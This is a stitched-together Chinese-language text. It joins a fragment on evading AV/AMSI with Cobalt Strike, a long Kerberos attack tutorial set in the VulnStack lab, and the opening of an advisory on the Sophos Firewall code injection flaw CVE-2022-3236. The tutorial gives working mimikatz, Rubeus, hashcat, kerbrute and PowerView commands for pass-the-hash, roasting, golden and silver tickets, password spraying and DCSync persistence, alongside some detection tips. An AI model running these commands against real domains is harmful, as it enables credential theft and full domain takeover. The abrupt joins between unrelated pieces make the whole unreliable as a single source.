因此,由於CS內核本身的局限性,它可能是堅持使用UDRL的最隱蔽的方式,而不是使用自定義打包器/加載器或經過修改的Arsenal Kit。

對我個人來說,這已經不是一個選擇了。掛鉤IAT修改一個閉源程序的內核,只是為了繞過基於行為的檢測。在某種程度上,我決定至少在這一刻不會為了讓這個框架的c2連接運行而越來越深入地研究Windows內部。在一年的時間裡,我只開發了很少的沒有檢測的環境和一些有反向Socks代理的環境,我決定使用其他框架。以前沒有CS我也很好,將來也會很好。

真的需要這些繞過技巧嗎?我認為不需要,所有這些繞過技術最終只是用來繞過簽名。

如果你使用的是自己生成的Shellcode,你可以選擇再次堅持使用Win32 API。 WriteProcessMemory或CreateThread將導致對輸入參數的檢測和對Shellcode入口點的分析。但如果沒有已知的惡意簽名,它將正常運行,不會被阻止。

如果你正在使用內部工具或經過大量修改的開放源代碼,AMSI將永遠不會發現你,因為它正在搜索已知的簽名。

如果你使用的是一個混淆的開源C2框架,或者是一個自己開發的框架,內存掃描不會發現你。

Kerberos认证流程

前言

本文主要分享最近学习的关于域内Kerberos认证的一些攻击手法,以自我的理解为主,从原理理解切入到基本工具利用来阐述,个人的理解分析较为啰嗦,嫌太兀长的可以跳着看就好,还请各位谅解。如有错误,请师傅们提出更正
对于Kerberos认证流程只是简单的描述带过,下面有很多细节没有说明,比如PAC,S4U2SELF(委派),S4U2PROXY(委派)等。详细的解读推荐翻阅daiker师傅写的相关文章
本文主要环境利用的是红日靶场VulnStack

  • 域控 owa win2008R2 192.168.52.138
  • 域主机 sut1 win7 192.168.52.130
  • 域外主机 k0uaz win7(可访问到域控) 192.168.52.162主要涉及主体和角色
  • Domain Controller 域控制器,简称DC,一台计算机,实现用户、计算机的统一管理
  • Key Distribution Center 秘钥分发中心,简称KDC,默认安装在域控里,包括AS和TGS
  • Authentication Service 身份验证服务,简称AS,用于KDC对Client认证
  • Ticket Grantng Service 票据授予服务,简称TGS,用于KDC向Client和Server分发Session Key(临时秘钥)
  • Active Directory 活动目录,简称AD,用于存储用户、用户组、域相关的信息。
  • Client 客户端,指用户。
  • Server 服务端,可能是某台计算机账户,也可能是某个服务。

过程和原理

qjzuucb3jys13813.png
上图中涉及到了三个请求返回过程:Client与KDC的AS,Client与KDC的TGS,Client与Server,详细的请求响应如下

  1. AS-REQ:Client向KDC(AS)发起一个认证请求,请求的凭据是Client的NTLM Hash加密的时间戳以及身份信息等
  2. AS-REP:AS使用Client NTLM HASH进行解密,若检验正确则返回用KRBTGT HASH加密的TGT票据(再TGS-REQ中发送到TGS并用于换取ST),TGT里面包含PAC
  3. TGS-REQ:Client获得TGT缓存在本地(不能解密),可用来向TGS换取访问相应服务的ST票据
  4. TGS-REP:TGS使用KRBTGT HASH解密TGT,若结果正确,返回用提供服务的服务器的Server Hash(机器用户HASH)加密的ST(server ticket)
  5. AP_REQ:Client拿着获得的ST去服务器请求资源
  6. AP_REP:Server使用自己的Hash解密ST,若解密正确,则拿着获取的PAC去访问KDC判断Client是否有权限访问。KDC解密PAC后获取用户sid以及所在组的信息,并根据访问控制表(ACL)判断权限。若符合,Server返回资源给Client

Kerberos相关安全问题

图片来自dariker师傅的文章

Pass The Key(Hash)

Pass the Hash

Pass the Hash适用于NTLM认证也适用于Kerberos认证,不仅在域外,域内也可以使用。Kerberos认证中AS-REQ通过Client Hash加密相关信息发送给AS,因此如果我们获取到了Client的NTLM Hash,我们可以通过Pass The Hash横向获取其他主机的权限。

利用

这里我们假设获得了在某台域机器上登录的域管NTLM HASH
1hz3cw1z5cu13816.png
以下适用于PTH的工具

  1. 使用Mimikatz,由于需要注入凭据到lsass中,因此需要本地管理员权限(bypassuac)去开启Sedebug,注入后可以使用该用户凭据访问域内主机
  2. 使用wmicexec(py或者exe都有)去pth,不需要管理员权限,适用于直接远程执行命令
  3. 使用cme去批量验证pth
  4. 等等

这里以Mimikatz举例,hack用户(stu1的本地管理员组内成员,域用户)
vom5uw5kd5z13817.png
没有权限访问域控共享目录
korcc1sljlt13818.png
mimikatz注入凭据后
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:god.org/rc4:b4ab235f987be3621a4ebd862189fd34"
vyfnmalsy3n13819.png

Pass the Key

mimikatz资料提示

ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

Pass the Key只能在域中使用,支持Aes加密方式的版本有win8.1/2012r2或者是安装了kb2871997补丁的win7/2008r2/8/2012

利用

获取aes key
i1x1j332ipy13820.png
然后同样使用sekurlsa::pth模块
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:god.org /aes256:bf723755bc5f72a377bda41ca58fd925df7ee45df9a026ac5cd320102a3a2e33"
xu5ld0glpuc13821.png
由于Win7主机没有打补丁,自然Pass The Key失败。在实战环境中,当不支持rc4加密方式的PTH的时候,可能是在Protected Users组中,这时可以尝试Aes128,Aes256加密方式来PTK

Pass The Hash With Remote Desktop(Restricted Admin mode)

2014年,Microsoft发布了KB2871997补丁,它主要囊括了Windows 8.1和Windows Server 2012 R2中增强的安全保护机制。所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2和Windows Server 2012也可以更新该补丁后获得上述安全保护机制。
————————————————————————————————————————————————
Restricted Admin RDP模式的远程桌面客户端支持:
在此更新之前,RDP登录是一种交互式登录,只有在用户提供用户名和密码之后才可以访问。以这种方式登录到RDP主机时,会将用户凭据放置在RDP主机的内存中,如果主机受到威胁,它们可能会被窃取。此更新使RDP支持网络登录,其中可以传递用户现有登录令牌以进行RDP访问的身份验证。使用此登录类型可确保RDP服务器上不存储用户的凭据。从而保护凭据

通过上述解释可以理解该模式是为了保护使用RDP登录的用户凭据,通过网络验证的登录方式,RDP服务端不会保存用户的凭据

利用

win8.1以及win2012R2以上支持Restricted Admin mode模式,win8.1以及win2012R2默认开启Restricted Admin mode
条件:Client支持Restricted Admin mode模式,Server启用Restricted Admin mode模式
由于手头缺少win2012R2,因此这里使用两台Windows10来进行Pass The Hash With Remote Desktop
首先获取NTLM HASH
j0d1i44veti13823.png
利用mimikatz注入NTLM HASH(需先privilege::debug开启debug权限,这里截图截少了)
sekurlsa::pth /user:administrator /domain:192.168.226.137 /ntlm:9c3767903480e04c089090d27123eaf9 "/run:mstsc.exe /restrictedadmin"
/domain指定计算机名或者ip
这里不要选择始终要求凭据
4xf2qx0iy2t13825.png
凭据正确但是没有开启Restricted Admin mode
20omrwbdom213826.png
通过注册表开启(0为开启,1为关闭,需要完整管理员权限),然后再次进行RDP连接
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
ixlbkp5gsrs13834.png
远程主机开启Restricted Admin mode后,RDP连接成功
jtayvcyuq3h13835.png
可以看到注入到内存中的Hash
l4ams1svpdq13836.png
然后这里我又使用了管理员账户K0uaz,因此该Pass The Hash With Remote Desktop只需要目标的本地管理员权限即可,不一定是sid为500的本地administrator账户
cn2jrqzoobk13841.png
但是如果只是加入Remote Desktop Users,不在Administratros组内,是无法成功的,因为该机制就是针对受限的管理员的

AS-REP Roasting

原理

在AS_REP中,KDC会返回一个有用户NTLM Hash加密的Session Key(该Sesions Key用于确保客户端和TGS之间的通信安全)
p5fh4jrv3gv13842.png
在RC4_HMAC加密方式下,我们可以通过穷举明文口令,利用相同加密流程加密明文口令,然后将加密结果对比密文是否相同来判断爆破结果
上图中返回的用户NTLM Hash加密的Session Key密文虽然是通过AES256加密的,但是这里我们同样可以使用加密降级方式(下文中Kerberoast突破用户支持AES加密转而返回RC4_HMAC类型的加密数据使用的方法)指定客户端最高支持加密方式仅为RC4_HMAC,使AS_REP中返回的密文的加密方式为RC4_HMAC,这样我们就可以破解该明文口令了
但是这里需要解决一个问题就是预认证的问题,在AS_REQ中会生成一个有Client Hash加密的Timestamp发送到KDC,KDC通过解密该密文获得时间戳,如果解密成功并且时间戳在5分钟之内,则预认证成功,KDC通过该方式来检验客户端身份,以此有效防止暴力破解
x3xaplcvruc13845.png
dpfz1kc0maj13849.png
至于为什么默认情况下会发送两次AS_REQ,从harmj0y的文章中得到的解释是由于客户端提前并不知道支持的加密方式(这里我认为是具体到客户端不知道预认证中Timestamp的加密方式),因此请求获取KDC支持的加密方式
ivaizgnzvcc13855.png
cxq10vfdpyp13859.png
因此关闭预认证,我们就可以进行穷举爆破破解出明文口令
fzcnoh3thtj13862.png
关闭预认证后不再有二次的AS_REQ,唯一一次的AS_REQ也不会带有NTLM Hash加密Timestamp的密文
m5pxa1qwvr513864.png

利用

可以通过LDAP查询具有Do not require Kerberos preauthentication属性的域用户
具体的查询条件为userAccountControl:1.2.840.113556.1.4.803:=4194304
这里以Rubeus举例
Rubeus.exe asreproast /nowrap /format:hashcat
5zlwbwhjhkt13866.png
hashcat解密
hashcat -m 18200 hash.txt passwords.dict --force
gksh4cetjar13869.png

Rubeus asreproast原理分析

通过Wireshark分析流量可以看出该模块原理就是通过LADP查询该属性特征的域用户,然后批量发送AS_REQ请求包,提取返回包中的NTLM Hash加密部分进行格式化输出适合于Hashcat爆破的形式
ldap查询:
crcpm3g0doa13872.png
指定支持加密类型仅为RC4_HMAC
uip4acgxpk113874.png
返回的密文使用RC4_HMAC加密(因此可进行穷举爆破)
ylsjbz0isus13876.png

黄金票据

特点

  1. 需要与DC通信(不需要与AS进行交互,需要与TGS)
  2. 需要krbtgt用户的hash

原理

在 Windows 的kerberos认证过程中,Client将自己的信息发送给 KDC,然后 KDC 使用 Krbtgt 用户的 NTLM-Hash 作为密钥进行加密,生成 TGT。那么如果获取到了 Krbtgt 的 NTLM-Hash 值,不就可以伪造任意的TGT了吗。因为Krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

条件

1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的(TGT使用期限20分钟之内,域控制器KDC服务不会验证TGT中的用户账户)

当我们获取到krbtgt的Hash的时候,我们就可以用来制作黄金票据
假设我们已经通过dcsync的攻击手法(下文中有解释和实践)获取到了krbtgt的hash
hfx0hoemioy13877.png
条件1:spn扫描获取域名称god.org
ncdjyffitmx13880.png
条件2:whoami /all获取域用户sid,域的SID去掉最后的一串
zemeunnyyfn13882.png
条件3:krbtgt账户Hash
58e91a5ac358d86513ab224312314061
条件4:伪造用户名
administrator

制作黄金票据

利用mimikatz kerberos::golden伪造tgt

黄金票默认组:
域用户SID:S-1-5-21 <DOMAINID> -513
域管理员SID:S-1-5-21 <DOMAINID> -512
架构管理员SID:S-1-5-21 <DOMAINID> -518
企业管理员SID:S-1-5-21 <DOMAINID> -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/sids参数)
组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520

mimikatz.exe "kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /user:administrator /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:k0u.kiribi" exit
tip:可添加/endin:xx /renewmax:xx修改票据的有效期以及续订票据最长有效期,mimikatz默认都是10年
pyn03keb1n413883.png
生成的票据可以到其他域机器上导入,也可以直接使用/ptt将tgt注入内存
首先先清空票据缓存klist purge
4wmv0mp1cfe13884.png
然后通过mimikatzkerberos::ptt k0u.kiribi注入到缓存票据中
zw0fohj4mhx13885.png
klist查看票据缓存可以看到伪造的tgt了
hg1zzuaeear13889.png
这时就获取到了非常高的权限了
n1001eocbwp13891.png
klist purge清空票据缓存后
pupg3ylbpiv13893.png

Tips:
普通黄金票据存在局限性,适用于单域内,不适于域森林中

Pass The Ticket

Kerberos除了第一步需要Client端的用户NTLM Hash加密验证,后续的操作都是通过票据(Ticket)来验证,因此我们如果拿到了票据或者伪造了票据,我们就可以通过该票据来横向移动,黄金票据和白银票据以及MS14068的利用都可以算做是Pass The Ticket的一种攻击方式

利用

Mimikatz

通过Mimikatz导出内存中的票据
w52tmfhasqz13895.png
(管理员权限开SeDebug)Mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
fi4ajz4nww413898.png
这时,我们抓到了域管的TGT,我们就可以注入域管的TGT到缓存并且使用该TGT来向TGS换取相应的服务凭证ST
(不需要管理员权限)此时以god.org\hack域用户(Stu1本地管理员权限)访问域控的Cifs共享服务是提示没有权限被拒绝的,这里注入域管的TGT到缓存后可成功访问
00nano5hhkm13904.png

Rubeus

Rubeus,利用C#实现Kekeo中的部分函数攻击手法等,该工具主要是针对Kerberos的一些攻击方式集成化的利用工具
导出内存中的票据
(管理员权限)Rubeus.exe dump >test.txt
sir5hwtwlkg13907.png
箭头指向的就是base64编码后的.kirbi
可以直接通过Rubeus导出base64编码形式的凭据或者转化为文件形式,文件形式可以和MimikatzKerberos::ptt xxx.kirbi导入票据互相通用
Rubeus.exe ptt /ticket:base64(需要处理下导出的base64编码格式,删除多个空格,删除换行,可以通过添加/nowrap参数不换行)
yqjdbal51lp13908.png
c2j4rfslbuh13913.png
导入后可以通过Rubeus.exe klist查看缓存的票据
ly5jk4czdic13927.png
以域管的高权限票据可访问域控共享服务
zuvv35bwv1n13932.png
也可以使用/ticket:file.kirbi的形式
可以通过Powershell调用.net类库的system.io命名空间中的file类中WriteAllBytes方法将base64编码解码后写入文件中
[IO.File]::WriteAllBytes("Adcontrol.kirbi", [Convert]::FromBase64String("处理后的凭据Base64编码"))
lylw3zbutaa13940.png
导入Rubeus ptt /ticket:file.kirbi
y2znlvbko5u13946.png

Tips:
票据文件注入内存的默认有效时间为10小时
Klist Purge清除缓存后注入的TGT也随着被清除

Kerberoasting

原理

在kerberos认证流程中的TGS_REP中返回的是Server Hash(Ticket)以及Session Key(Server Session Key),其中最为重要的是通过服务的NTLM Hash为密钥加密生成的ST票据。当认证加密算法为RC4_HMAC(弱加密类型)时,我们可以通过穷举口令,利用相同的加密过程获得密文,将获得的密文与ST票据中的密文比较,若相同,则说明口令正确,成功爆破获得服务凭据的明文
Tip:服务票据会使用服务账户的哈希进行加密,在Windows中使用服务主体名称(SPN)来确定使用哪个服务帐户的哈希来加密服务票证

(服务主体名称)SPN

服务主体名称(SPN:ServicePrincipal Names)是服务实例,Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联
SPN的格式为:serviceclass/host:port/servicename
4n3jsd4b2cn13951.png
SPN是域内一个服务的唯一标示名称,SPN类型分为两种:

  1. 一种注册在AD上机器帐户(Computers)下,当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下,比如SMB或者远程注册表服务
  2. 另一种注册在域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下,此时访问某个服务,返回的ST票据中加密的服务票据就是服务账户的票据即SPN与服务所对应相关联的账户的凭据

    Tips:
    Setspn -Q */*查询所有的SPN
    可以通过LADP将域用户属性servicePrincipalName设置为目标SPN
    可以通过LDAP来快速检索哪些域用户拥有servicePrincipalName属性来找到寻找爆破目标(低权限即可)

    实现要点

    寻找有价值的SPN : 寻找基于域账户的(最好是高权限)SPN,基于主机的SPN密码复杂随机且30天自动更换一次,因此难以破解
    获得RC4_HMAC加密形式的ST票据 : 支持RC4_HMAC或启用AES认证加密但是未禁用RC4_HMAC

    利用

    首先为域用户liukaifeng01关联一个SPN
    2kkqgosz01n13955.png

    老方法

    用到的工具为kerberoast
    首先通过遍历SPN(筛选有价值的SPN),然后对获得的所有SPN发起TGS请求获取ST票据缓存到本地(Mimikatz中的kerberos::ask可实现发起单个TGS请求),再通过Mimikatz等工具导出ST凭据,然后通过爆破脚本tgsrepcrack.py尝试爆破出明文口令

    新方法

    用到的工具为Invoke-kerberoast
    较新的方式是一步到位,(首先通过LDAP查询带有ServicePrincipalName属性的域用户)不需要发送TGS请求后通过Mimikatz导出ST凭据了,通过微软提供的类KerberosRequestorSecurityToken直接发起TGS请求,然后再返回的内容中提取加密的ST票据进行格式化,方便使用John和Hashcat来破解
    这里举例使用的工具是Rubeus,该工具同样实现了Invoke-kerberoast的功能
    Rubeus kerberoast(普通域用户权限即可)
    x12tya5543013960.png
    如果复制粘贴不方便,可以使用/outfile:path指定Hash参数的写入路径
    qkki0d4i1rl13963.png
    Rubeus返回的Hash参数对应的值就是hashcat官方指定的RC4_HMAC加密方式破解的格式
    2whppseax1e13965.png
    kali中使用hashcat爆破
    hashcat -m 13100 hash.txt passwords.dict --force
    xyx4z5g4onl13971.png

    加密降级突破AES加密类型

    首先设置用户启用AES加密,通过AD用户和计算机管理设置liukaifeng01用户启用AES加密e35ptn25mqo13975.png
    LDAP查看msDS-SupportedEncryptionTypes属性
    x5fpjuzi4no13978.png
    这时候再进行Kerberoast时,返回的票据加密类型为AES256
    zc4nmawrcux13981.png
    抓包查看TGS_REQ,可以看到客户端向服务端提供了支持的加密算法,包括RC4AES加密
    5q2qdfwynhz13984.png
    通过查看TGS_REP可以发现返回的ST票据中使用的算法是最高支持的加密类型=>AES256
    2w4dqxw3k1m13986.png
    那这里就可以提出一个猜想,如果我们在TGS_REQ中提供最高的支持的加密算法是RC4,呢么TGS_REP中返回的加密方式是否也会是RC4
    在Rubeus中已经实现了该方法,并且确实有效
    Rubeus kerberoast /tgtdeleg
    dkaj5xejtyo13988.png
    TGS_REQ请求包中支持的加密算法仅为RC4
    xi2rgxseu1y13990.png
    虽然域用户liukaifeng01支持的加密方式是AES,但是得到的是一个RC4加密的票据,这样获得的票据仍然是可以破解的
    解决加密降级的办法只有在组策略中的安全策略Kerberos验证中彻底禁用RC4

    白银票据

    特点
  3. 不需要与域控(KDC)交互
  4. 需要目标服务的NTLM Hash(获取Server Hash伪造TGT)

原理

来自倾旋师傅的图
在第三步认证中的Ticket的组成:
Ticket=Server Hash(Server Session Key+Client info+End Time)
如果我们有了Server Hash的话,我们就可以伪造ST,服务器在没有收到ST之前是不知道Server Sessoin Key的,所以这一切的认证最重要的就是Server Hash,有了Server Hash我们就可以伪造ST来访问指定的服务。这里的Server Hash指的就是机器用户的Hash,机器用户其实就是System用户

条件

1、域名称
2、域的SID值(SID值,注意是去掉最后一个-后面的值)
3、域中的Server服务器账户的NTLM-Hash
4、伪造的用户名,可以是任意用户名.
5、目标服务器上面的kerberos服务

制作白银票据

这里还是以域控owa举例,通过mimikatz获取机器账户的Hash
xlyobby4kgx13995.png
获取hash后,通过mimikatz制作白银票据(部分条件上述黄金票据实践中已经获得),目的服务是cifs
正常情况是普通域用户hack没有权限访问:
i10utzemcku13998.png
通过mimikatz制作白银票据并直接导入
ifmm5mm01fd13999.png
查看当前票据
zetjtqgettc14002.png
成功访问共享目录
n5yh4khpwox14004.png
但是这里与正常的加密类型是不同的,Mimikatz的伪造是RC4的加密类型,而正常的SPN关联在机器账户下的一般都是AES加密,因此对于伪造访问服务CIFS的ST票据而言,白银票据的流量也比较容易识别
nnndq1jsu2f14006.png
常见的伪造服务类型如下
u34hsr4fqr314009.png

Tips:
开启PAC验证可防御白银票据(Server发送PAC的数字签名给KDC校验)

用户名枚举和口令暴力破解

三种情况

存在用户

存在用户描述:error_code:eRR-PREAUTH-REQUIRED
密码错误描述:error_code:eRR-PREAUTH-FAILED
434bkh1wcov14011.png

不存在的用户

描述:error_code:eRR-C-PRINCIPALL-UNKNOWN
oc1z3eqpus514012.png

kerbrute

使用场景

不在域内的情况下且无法通过LDAP或者SAMR协议去获取域内用户(如果掌握域内用户名以及密码,域外也可通过LDAP与域控交互获取信息)
若攻击主机在域外,需要主机能与域控直接交互
不会有像LDAP暴力破解产生的日志(4625 - An account failed to log on)

主要原理

发送构造的AE-REQ请求包后,通过返回的包的区别来判断用户是否存在以及密码是否正确

用户名枚举

域内
kerbrute_windows_amd64.exe userenum -d god.org username.txt
53du0ydl5bv14014.png
域外
kerbrute_windows_amd64.exe userenum --dc 192.168.52.138 -d god.org username.txt
需指定Dc的ip地址
luvp5kzidcn14016.png

密码喷洒

指定密码,遍历用户名
kerbrute_windows_amd64.exe passwordspray -d god.org username.txt Abc123!
第一个包发送用户名0hjadwhl22l14018.png
DC返回用户名正确后发送第二个AS-REQ,其中包含了密码的NTLM HASH
5dkkzaedk3g14020.png

pyKerbrute

3gstudent师傅实现的Python版本的kerbrute,添加了两个功能
增加对TCP协议的支持
增加对NTLM hash的验证

用户名枚举

EnumADUser.py主要实现的就是发一个As-REQ结构的包修改CnameString即可(固定sname指向krbtgt)
4uyypvrk5hx14022.png
EnumADUser.py : EnumADUser.py 192.168.52.138 god.org user.txt tcp
1s0fmywflh214024.png
与kerbrute发送的数据包稍有区别ino1evl0k5u14027.png

密码喷洒

首先pyKerbrute分成了两种模式,clearpassword和ntlmhash
classpassword:实现了将明文加密成NTLM Hash然后通过RC4-HMAC加密算法加密时间戳,然后也可以通过ntlmhash模块来密码喷洒
ntlmhash:直接通过RC4-HMAC-MD5加密算法加密时间戳
m544v1hvarw14030.png
ADPwdSpray.py : ADPwdSpray.py 192.168.52.138 god.org username.txt clearpassword Abc123! udp
mrnqrct0akb14032.png
与kerbrute发送的数据包在支持的加密算法上有较大区别,不如kerbrute隐秘
shtla0zi3ry14036.png
pyKerbrute这里就发送了一个包,没有发送判断用户名是否存在,直接请求认证,且加密算法指定了RC4-HMAC-MD5,kerbrute支持多种加密方法
稍微看了下Kerbrute的代码,发现实现的方法NewWithPassword来自gokrb5这个库,该库便利了用于客户端与服务端的Kerberos相关认证,而且库中实现了众多的加密算法
njcgv5h1i4k14040.png

Kerberos pre-auth bruteforcing的检测

Kerbrute使用Kerberos pre-auth协议,不会产生日志(4625 - An account failed to log on)
但是会产生以下日志:
口令验证成功时产生日志(4768 - A Kerberos authentication ticket (TGT) was requested)
口令验证失败时产生日志(4771 - Kerberos pre-authentication failed)

我自己本地域控查看日志发现,存在4768,但是用户正确,密码错误并不会爆出4771,没有任何提示

成功

kfikwfdth0214045.png

失败

解决

通过查阅资料,找到了修改登录策略的地方,具体可查看Audit Kerberos Authentication Service
p0rwcx45kqi14047.png
修改审核策略后可捕获到4771类型:
1l4oamxw5ry14049.png
cmpjlbwpmic14052.png
aedemhk5je314053.png

Dcsync攻击

DCSync攻击原理

利用目录复制服务远程协议(DRSR)协议从域控制器获取敏感信息
将当前主机伪装成域控制器(DC),并通过发出请求说服真实的DC将其数据库与该主机伪装的恶意DC同步

利用条件

需要具备如下扩展权限对应的DACL
jxhrpj0djr214056.png
根据3gstudent师傅的文章总结如下的组内用户具有上述权限
Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户

实践

这里指的Administrator组内的用户不是指域机器上的本地Administrators,而是域控制器上的本地Administrators组。这里以红日靶场一举Administrators组内用户的例子
比如likaifeng01这个用户,通过域控查看工具,或者终端DOS命令查看liukaifeng01所在的组
1gso3yw0ok114059.png
该用户是域控本地管理员组成员,但不是域管成员
通过Powerview的Get-DomainObjectAcl来获取该成员的ACL控制列表查看上述三项权限
ynrlnftceao14061.png

  1. DS-Replication-Get-Changes-In-Filtered-Set
    vyyomt4uk4b14063.png
  2. DS-Replication-Get-Changes
    3qqfw1z43ur14066.png
  3. DS-Replication-Get-Changes-All
    04dqhf1xgyq14069.png

满足上述三项权限,通过mimikatz的dcsync功能来导出Hash
nnaphgfhdj114071.png
也可以通过PowerView来直接为普通域用户一次性加上上述的三条特权,就可以具有执行Dcsync攻击的权限了,可以作为一种权限维持的方法
首先添加一个普通域用户hack,利用hack直接Dcsync会失败
qfoh0ddvdy314073.png
以管理员权限通过PowerView给域用户hack加上三个扩展特权
Add-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity hack -Rights DCSync -Verbose
然后通过ADfind.exe或者Get-DomainObjectAcl查看用户拥有的特权
AdFind.exe -sc getacls -sddlfilter ;;;;;god\hack -recmute
oumklmeab2p14074.png
Get-ObjectAcl -Identity "dc=god,dc=org" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "S-1-5-21-2952760202-1353902439-2381784089-1111"}
xwpq0ebgu5t14076.png
图截不全,上面已经证明hack用户有这三个权限后,再次通过mimikatz来调用dcsync模块,可获取全部的Hash
gev5ajgbm1s14077.png
然后删除该用户的三个扩展特权可以用如下命令
Remove-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity hack -Rights DCSync -Verbose
删除后再次使用Dcsync模块,已不能获取
pcpl1fg2r1z14078.png

Tips
Dcsync攻击可以作为权限维持的方式=>拿到高权限后可以通过Powerview中的Add-DomainObjectAcl给普通用户添加上述三个特权,使普通用户仍然可以通过Dcsync获取所有Hash

工具地址

kerbrute
pyKerbrute
Rubeus
kerberoast
Invoke-Kerberoast

学习参考链接

上文学习总结自3gstudent文章,倾旋博客,unknowsec博客,car7n博客,Muxueo博客,harmj0y博客,安全客等等
当时看的有点太杂了,整理完笔记后发现很多粗看的文章都没记下来文章链接
渗透技巧——通过Kerberos pre-auth进行用户枚举和口令爆破
Kerberos的黄金票据详解
Kerberos的白银票据详解
彻底理解Windows认证 – 议题解读
手把手教你入门内网渗透之二
Kerberos
Pass the Hash with Remote Desktop(Restricted Admin mode)
【技术分享】Kerberoasting:一种Kerberos活动目录攻击方法
域渗透——Kerberoasting
高级域渗透技术之再谈Kerberoast攻击
Roasting AS-REPs

关于PAC

对于PAC有疑惑的可以看下面的下四篇文章
Windows内网协议学习Kerberos篇之PAC
了解 Microsoft Kerberos PAC 验证
PAC在Kerberos认证协议中的作用
什么是 Kerberos PAC

来源: https://forum.butian.net/share/614

在趨勢科技最近發布的漏洞報告中,研究團隊的Guy Lederfein和Dusan Stevanovic詳細介紹了Sophos防火牆最近打過補丁的代碼注入漏洞。該漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。成功利用此漏洞可能導致以根用戶的權限執行遠程代碼。以下是關於CVE-2022-3236的介紹。

Sophos最近修復了Sophos Firewall v19.0 MR1(19.0.1)及以前版本中的代碼注入漏洞。此漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。未經身份驗證的遠程攻擊者可以通過向受影響的服務器發送精心編寫的請求來利用此漏洞。成功利用此漏洞可能導致使用根用戶的權限進行遠程代碼執行。

漏洞利用Sophos Firewall是一種網絡安全解決方案,它可以部署在專門構建的設備、云網絡(AWS/Azure)、虛擬設備或x86 Intel硬件上的軟件設備上。防火牆應用支持多種網絡安全特性,包括應用感知路由、TLS檢測、深層包檢測、遠程接入VPN、日誌、報表等。 Sophos Firewall公開了一個web管理控制台,用於通過TCP端口4444上的HTTPS管理設備的配置。此外,Sophos Firewall公開了一個用戶門戶,用於更新用戶的詳細信息或通過TCP端口443上的HTTPS下載身份驗證客戶端。

HTTP是RFC 7230-7237和其他RFC中描述的請求/響應協議。客戶端向服務器發送請求,服務器又將響應發送回客戶端。 HTTP請求由請求行、各種標題、空行和可選消息正文組成:

其中CRLF表示新行序列回車(CR),後跟換行(LF)。根據使用的方法和Content-Type標頭,參數可以在RequestURI或消息正文中作為名稱-值對從客戶端傳遞到服務器。例如,使用GET方法傳遞一個名為“param”、值為“1”的參數的簡單HTTP請求可能如下所示:

使用POST方法的相應HTTP請求可能如下所示:

JavaScript對象表示法(JSON)是一種數據交換格式,用於創建設備可解析、人類可讀的輸出。 JSON對象具有以下語法:

1.對像用花括號{}括起來。

2.對象由逗號(“,”)字符分隔的零個或多個項目組成。

3.項目由秘鑰和值組成。秘鑰的值由冒號(“:”)字符分隔。

4.秘鑰必須是用引號括起來的字符串。

5.值必須是有效的類型。 JSON定義了7種值類型:字符串、數字、對象、數組、true、false和null。

6.數組是用方括號[]括起來的對象。

7.數組由零個或多個字符串、數字、JSON對象、數組、布爾值或由逗號(“,”)字符分隔的空類型對象組成。

JSON對象示例如下: {“name”:”bob”, “age”:30}。

由Sophos Firewall公開的web管理和用戶門戶web界面都運行在Apache httpd服務器後面的Jetty服務器上。通過這些接口發出的配置和診斷請求通過請求提交給Controller servlet。這個servlet基於模式HTTP請求參數檢索適當的EventBean對象。例如,如果模式HTTP請求參數設置為151或451,則分別調用WebAdminAuth或UserPortalAuth類來處理請求。在每個類中,都會調用CSCClient類的generateAndSendAjaxEvent()方法。

該方法解析json HTTP請求參數,並修改解析對像中的特定字段。然後調用send()方法,該方法反過來調用_send(),後者根據相關EventBean對象的模式添加模式JSON參數。然後,它將創建的JSON對像作為字符串(包括適當的標頭)通過TCP或UDP端口299發送到本地CSC服務器。

當CSC服務器接收到Jetty服務器提交的JSON對象時,它會驗證通過Perl腳本CyberAPIArch.pm中的validateJSON()方法提交的JSON對象。如果JSON對象包含一個名為_discriminator的項,則調用getValidationHash()方法。該方法遍歷_discriminator Perl哈希的每個秘鑰,表示字段名。每個字段名都與一個描述字段值和對象名之間映射的JSON對象相關聯。解析收到的JSON對象時解析的一些Perl對象(natrule、securitypolicy、hotspot等)包含一個帶有_discriminator項的模板,其中包含字段值及其關聯對象之間特定字段名的映射。該方法遍歷字段值,以檢查提交的JSON對像是否包含具有引用名稱和值的字段。如果是,它將檢索關聯的對象名,並嘗試使用eval函數將其解析為一個對象。

Sophos防火牆存在代碼注入漏洞,此漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。可以在HTTP請求中設置_discriminator項,經過一些修改後,這個JSON對像被發送到CSC服務器。但是,_discriminator項目集是未經修改發送的。一旦使用Perl腳本CyberAPIArch.pm的validateJSON() 方法被調用時,它將檢測這個項並調用getValidationHash()。 Perl方法遍歷$hashObj哈希對象,該對象包含一個名為_discriminator的項,其值是一個嵌套的哈希,其中的值項設置為發送的原始請求中的_discriminator項的值。

